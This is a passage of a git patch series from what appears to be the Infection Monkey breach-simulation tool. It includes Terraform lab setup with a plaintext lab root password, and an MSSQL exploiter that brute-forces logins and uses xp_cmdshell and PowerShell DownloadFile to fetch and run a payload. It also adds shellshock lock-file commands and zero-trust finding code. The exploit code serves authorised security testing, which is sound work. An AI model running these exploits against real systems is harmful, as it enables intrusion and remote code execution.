From 4d8cd768fcaee0cef69e6a49e9c47c951303e2c7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:33:21 +0300 Subject: [PATCH 01/78] Updated monkeyzoo images and added tunneling-11 --- envs/monkey_zoo/docs/fullDocs.md | 36 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 20 ++++++++------ envs/monkey_zoo/terraform/monkey_zoo.tf | 33 +++++++++++++++++++++-- 3 files changed, 79 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index b792b16f4..4f795af45 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -500,6 +500,42 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 11 Tunneling M3

+

(10.2.0.11)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:3Q=(Ge(+&w]*
Server’s config:Default
Notes:Accessible only trough Nr.10
+ diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4677d0c1b..dccbe16dd 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-9" { - name = "tunneling-9-v2" + name = "tunneling-9" project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-10" { - name = "tunneling-10-v2" + name = "tunneling-10" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-11" { + name = "tunneling-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-11" { - name = "sshkeys-11-v2" + name = "sshkeys-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-12" { - name = "sshkeys-12-v2" + name = "sshkeys-12" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-14" { - name = "mimikatz-14-v2" + name = "mimikatz-14" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-15" { @@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "weblogic-19" { - name = "weblogic-19-v2" + name = "weblogic-19" project = "${local.monkeyzoo_project}" } data "google_compute_image" "smb-20" { @@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "struts2-24" { - name = "struts-24-v2" + name = "struts2-24" project = "${local.monkeyzoo_project}" } data "google_compute_image" "island-linux-250" { @@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-windows-251" { name = "island-windows-251" project = "${local.monkeyzoo_project}" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index e0b97822f..dccbf7fa8 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -15,6 +15,11 @@ resource "google_compute_network" "tunneling" { auto_create_subnetworks = false } +resource "google_compute_network" "tunneling2" { + name = "tunneling2" + auto_create_subnetworks = false +} + resource "google_compute_subnetwork" "monkeyzoo-main" { name = "monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" @@ -27,6 +32,12 @@ resource "google_compute_subnetwork" "tunneling-main" { network = "${google_compute_network.tunneling.self_link}" } +resource "google_compute_subnetwork" "tunneling2-main" { + name = "tunneling2-main" + ip_cidr_range = "10.2.0.0/27" + network = "${google_compute_network.tunneling2.self_link}" +} + resource "google_compute_instance_from_template" "hadoop-2" { name = "hadoop-2" source_instance_template = "${local.default_ubuntu}" @@ -149,7 +160,6 @@ resource "google_compute_instance_from_template" "tunneling-9" { network_interface{ subnetwork="tunneling-main" network_ip="10.2.1.9" - } network_interface{ subnetwork="monkeyzoo-main" @@ -170,6 +180,25 @@ resource "google_compute_instance_from_template" "tunneling-10" { subnetwork="tunneling-main" network_ip="10.2.1.10" } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.10" + } +} + +resource "google_compute_instance_from_template" "tunneling-11" { + name = "tunneling-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-11.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.11" + } } resource "google_compute_instance_from_template" "sshkeys-11" { @@ -428,4 +457,4 @@ resource "google_compute_instance_from_template" "island-windows-251" { // network_tier = "STANDARD" } } -} \ No newline at end of file +} From 3ebd7ed02dc246c4744f64666c48b26557550976 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 26 Aug 2019 18:49:58 +0300 Subject: [PATCH 02/78] MSSQL refactored to dynamically split exploitation commands into smaller chunks --- monkey/infection_monkey/exploit/mssqlexec.py | 70 ++++++++++++++++---- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..a15801d12 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + MAX_XP_CMDSHELL_SIZE = 128 + + EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter): commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] MSSQLExploiter.execute_command(cursor, commands) - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + # Form download command + download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} + # Form suffix + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + + exploit_command = MSSQLCommand(download_command, + prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, + suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) + # Split command into chunks mssql xp_cmdshell can execute + commands = exploit_command.split_into_array_of_smaller_strings() + MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) @@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter): def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) return None + + +class MSSQLCommand(object): + + def __init__(self, command, max_length, prefix="", suffix=""): + self.command = command + self.max_length = max_length + self.prefix = prefix + self.suffix = suffix + + def get_full_command(self, command): + return "{}{}{}".format(self.prefix, command, self.suffix) + + def split_into_array_of_smaller_strings(self): + remaining_command_to_split = self.command + commands = [] + while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): + command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) + commands.append(self.get_full_command(command_of_max_len)) + if remaining_command_to_split: + commands.append(remaining_command_to_split) + return commands + + def split_at_max_length(self, command): + substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 + return self.get_full_command(command[0:substring_size]), command[substring_size:] + + def command_is_too_long(self, command): + return len(command)+len(self.prefix)+len(self.suffix) > self.max_length From 8c930fae66d6b581eb52e8a538ebc13cffcf1e42 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 28 Aug 2019 14:34:45 +0000 Subject: [PATCH 03/78] Mssql fixed, payload parsing class added --- monkey/infection_monkey/exploit/mssqlexec.py | 141 ++++++++++-------- .../exploit/tools/payload_parsing.py | 63 ++++++++ 2 files changed, 141 insertions(+), 63 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a15801d12..4d6749ba5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,5 @@ import logging import os -import textwrap from time import sleep import pymssql @@ -11,7 +10,8 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -25,24 +25,31 @@ class MSSQLExploiter(HostExploiter): # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' + # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - MAX_XP_CMDSHELL_SIZE = 128 + TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" - EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + + XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" + XP_CMDSHELL_COMMAND_END = "\"" + EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" + CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" + "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) + self.cursor = None def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not cursor: + if not self.cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False @@ -60,47 +67,76 @@ class MSSQLExploiter(HostExploiter): LOG.info("Started http server on %s", http_path) dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME) + tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create monkey dir. - commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] - MSSQLExploiter.execute_command(cursor, commands) + # Create dir for payload + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + if not self.try_to_run_mssql_command(dir_creation_command): + return False + + if not self.create_empty_payload_file(tmp_file_path): + return True # Form download command - download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} - # Form suffix + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, + 'dst_path': dst_path} + # Form suffix for appending to temp payload file suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) + if not self.try_to_run_mssql_command(monkey_download_command): + return True + self.run_file(tmp_file_path) - exploit_command = MSSQLCommand(download_command, - prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, - suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) - # Split command into chunks mssql xp_cmdshell can execute - commands = exploit_command.split_into_array_of_smaller_strings() + self.add_executed_cmd(monkey_download_command.command) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(' '.join(commands)) - # Form monkey's command in a file + # Clear payload to pass in another command + if not self.create_empty_payload_file(tmp_file_path): + return True + + # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) - for part in textwrap.wrap(monkey_args, 40)] - commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] - commands.extend(monkey_args) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(commands[-1]) + suffix = ">>%s" % tmp_file_path + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) + if not self.try_to_run_mssql_command(monkey_launch_command): + return True + self.run_file(tmp_file_path) + + # Remove temporary dir we stored payload at + if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) + return True - @staticmethod - def run_file(cursor, file_path): - command = ["exec xp_cmdshell \"%s\"" % file_path] - return MSSQLExploiter.execute_command(cursor, command) + def run_file(self, file_path): + file_running_command = MSSQLLimitedSizePayload(file_path) + return self.try_to_run_mssql_command(file_running_command) + + def create_empty_payload_file(self, file_path): + # Create payload file + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + return self.try_to_run_mssql_command(tmp_file_creation_command) + + def try_to_run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + LOG.error("Couldn't execute MSSQL because payload was too long") + return False + return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) @staticmethod - def execute_command(cursor, cmds): + def execute_commands(cursor, cmds): """ Executes commands on MSSQL server :param cursor: MSSQL connection @@ -154,30 +190,9 @@ class MSSQLExploiter(HostExploiter): return None -class MSSQLCommand(object): - - def __init__(self, command, max_length, prefix="", suffix=""): - self.command = command - self.max_length = max_length - self.prefix = prefix - self.suffix = suffix - - def get_full_command(self, command): - return "{}{}{}".format(self.prefix, command, self.suffix) - - def split_into_array_of_smaller_strings(self): - remaining_command_to_split = self.command - commands = [] - while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): - command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) - commands.append(self.get_full_command(command_of_max_len)) - if remaining_command_to_split: - commands.append(remaining_command_to_split) - return commands - - def split_at_max_length(self, command): - substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 - return self.get_full_command(command[0:substring_size]), command[substring_size:] - - def command_is_too_long(self, command): - return len(command)+len(self.prefix)+len(self.suffix) > self.max_length +class MSSQLLimitedSizePayload(LimitedSizePayload): + def __init__(self, command, prefix="", suffix=""): + super(MSSQLLimitedSizePayload, self).__init__(command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, + suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py new file mode 100644 index 000000000..e7596f11f --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -0,0 +1,63 @@ +import logging +import textwrap + +LOG = logging.getLogger(__name__) + + +class Payload(object): + """ + Class for defining and parsing a payload (commands with prefixes/suffixes) + """ + + def __init__(self, command, prefix="", suffix=""): + """ + :param command: command + :param prefix: commands prefix + :param suffix: commands suffix + """ + self.command = command + self.prefix = prefix + self.suffix = suffix + + def get_full_payload(self, command=""): + if not command: + command = self.command + return "{}{}{}".format(self.prefix, command, self.suffix) + + +class LimitedSizePayload(Payload): + """ + Class for defining and parsing commands/payloads + """ + + def __init__(self, command, max_length, prefix="", suffix=""): + """ + :param command: command + :param max_length: max length that payload(prefix + command + suffix) can have + :param prefix: commands prefix + :param suffix: commands suffix + """ + super(LimitedSizePayload, self).__init__(command, prefix, suffix) + self.max_length = max_length + + def is_suffix_and_prefix_too_long(self): + return self.payload_is_too_long(self.suffix + self.prefix) + + def split_into_array_of_smaller_payloads(self): + if self.is_suffix_and_prefix_too_long(): + LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + return False + elif self.command == "": + return [self.prefix+self.suffix] + + commands = [self.get_full_payload(part) + for part + in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + return commands + + def get_max_sub_payload_length(self): + return self.max_length - len(self.prefix) - len(self.suffix) - 1 + + def payload_is_too_long(self, command): + return len(command) > self.max_length From 8099644cee55c00f0e868124515f7bbc3da360d6 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Thu, 29 Aug 2019 18:18:41 +0700 Subject: [PATCH 04/78] enter lock before downloading --- monkey/infection_monkey/exploit/shellshock.py | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 208af2f98..1880e6c07 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -108,6 +108,9 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + if not self._try_lock(exploit, url, header): + continue + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: @@ -124,6 +127,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() + self._exit_lock(exploit, url, header) + if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) @@ -182,6 +187,31 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, + @classmethod + def _try_lock(cls, exploit, url, header): + """ + Checks if another monkey is running shellshock exploit + :return: True if no monkey is running shellshock exploit + """ + file_path = '/tmp/monkey_lock' + if cls.check_remote_file_exists(url, header, exploit, file_path): + LOG.info("Another monkey is running shellshock exploit") + return False + cmdline = 'touch /tmp/monkey_lock' + run_path = exploit + cmdline + cls.attack_page(url, header, run_path) + return True + + @classmethod + def _exit_lock(cls, exploit, url, header): + """ + Remove lock file from target machine + """ + file_path = '/tmp/monkey_lock' + cmdline = 'rm %s' % file_path + run_path = exploit + cmdline + cls.attack_page(url, header, run_path) + @staticmethod def attack_page(url, header, attack): result = "" From c0a6f1d1ddb6b861481cab9be216226ee9b869d9 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sun, 1 Sep 2019 14:04:16 +0700 Subject: [PATCH 05/78] update --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 1880e6c07..8b18590de 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -197,7 +197,7 @@ class ShellShockExploiter(HostExploiter): if cls.check_remote_file_exists(url, header, exploit, file_path): LOG.info("Another monkey is running shellshock exploit") return False - cmdline = 'touch /tmp/monkey_lock' + cmdline = 'echo AAAA > %s' % file_path run_path = exploit + cmdline cls.attack_page(url, header, run_path) return True From 1d5a4d20cee4a86713540819307b4c77174cd5af Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 11:29:04 +0300 Subject: [PATCH 06/78] Added aggregate finding --- .../cc/models/zero_trust/aggregate_finding.py | 23 ++++++++ .../cc/models/zero_trust/finding.py | 4 ++ .../zero_trust/test_aggregate_finding.py | 53 +++++++++++++++++++ 3 files changed, 80 insertions(+) create mode 100644 monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py new file mode 100644 index 000000000..613b9a4a2 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -0,0 +1,23 @@ +from monkey_island.cc.models.zero_trust.finding import Finding + + +class AggregateFinding(Finding): + @staticmethod + def create_or_add_to_existing(test, status, events): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = Finding.objects(test=test, status=status) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + Finding.save_finding(test, status, events) + else: + # Now we know for sure this is the only one + orig_finding = existing_findings[0] + orig_finding.add_events(events) + orig_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 4027690c8..441d22e3a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -54,3 +54,7 @@ class Finding(Document): finding.save() return finding + + def add_events(self, events): + # type: (list) -> None + self.events.extend(events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py new file mode 100644 index 000000000..b32e8ad53 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -0,0 +1,53 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestAggregateFinding(IslandTestCase): + def test_create_or_add_to_existing(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_INCONCLUSIVE + events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + def test_create_or_add_to_existing_2_tests_already_exist(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_INCONCLUSIVE + event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) + events = [event] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 2) + + with self.assertRaises(AssertionError): + AggregateFinding.create_or_add_to_existing(test, status, events) From 1fddd4abbfd9f68654c987d8ea5e547affd93bd9 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 11:44:08 +0300 Subject: [PATCH 07/78] Made some findings aggregate findings to improve readability of Findings table. --- .../telemetry/zero_trust_tests/antivirus_existence.py | 6 ++++-- .../services/telemetry/zero_trust_tests/data_endpoints.py | 8 ++++---- .../telemetry/zero_trust_tests/machine_exploited.py | 3 ++- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index acfdf1643..5795a2773 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -3,8 +3,8 @@ import json from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES @@ -31,7 +31,9 @@ def test_antivirus_existence(telemetry_json): test_status = STATUS_PASSED else: test_status = STATUS_FAILED - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) + AggregateFinding.create_or_add_to_existing( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) def filter_av_processes(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 65d044b19..be240f150 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -2,8 +2,8 @@ import json from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] @@ -54,19 +54,19 @@ def test_open_data_endpoints(telemetry_json): event_type=EVENT_TYPE_ISLAND )) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_DATA_ENDPOINT_HTTP, status=found_http_server_status, events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_DATA_ENDPOINT_ELASTIC, status=found_elastic_search_server, events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, events=events diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d4f8c53c1..d6416c0ef 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,5 +1,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -39,7 +40,7 @@ def test_machine_exploited(telemetry_json): events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, events=events From 3f2d5b1479b9845541e7ff6c4eeddb696da324ab Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:08:58 +0300 Subject: [PATCH 08/78] Aggregate passed exploit attempts tests (which means failed exploiting) --- .../zero_trust_tests/machine_exploited.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d6416c0ef..1afe8bfe1 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ 